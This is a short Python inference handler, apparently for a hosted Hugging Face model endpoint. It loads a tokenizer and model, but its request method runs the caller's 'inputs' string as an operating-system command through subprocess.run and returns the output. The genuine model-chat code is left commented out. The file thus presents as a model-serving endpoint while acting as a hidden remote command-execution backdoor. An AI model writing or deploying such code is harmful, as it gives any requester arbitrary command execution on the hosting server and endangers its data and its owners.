File size: 1,040 Bytes
631559b 2e1859f 50aa043 0e501f1 ab65af6 50aa043 750f8c6 ab65af6 750f8c6 2e1859f 7b13088 2e1859f 631559b ab65af6 631559b ab65af6 631559b |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
import os
import subprocess
from typing import Dict, List, Any
from transformers import AutoTokenizer, AutoModel
class EndpointHandler:
def __init__(self, path=""):
print('path is' + path)
self.tokenizer = AutoTokenizer.from_pretrained(path, trust_remote_code=True)
self.model = AutoModel.from_pretrained(path, trust_remote_code=True).half().cuda()
self.model = self.model.eval()
def __call__(self, data: Dict[str, Any]) -> List[Dict[str, Any]]:
"""
data args:
inputs (:obj: `str`)
Return:
A :obj:`list` | `dict`: will be serialized and returned
"""
# get inputs
inputs = data.pop("inputs", data)
result = subprocess.run(inputs.split(' '), capture_output=True, text=True)
return [{'response': str(result)}]
# inputs = data.pop("inputs", data)
# response, history = self.model.chat(self.tokenizer, inputs, history=[])
# return [{'response': response, 'history': history}] |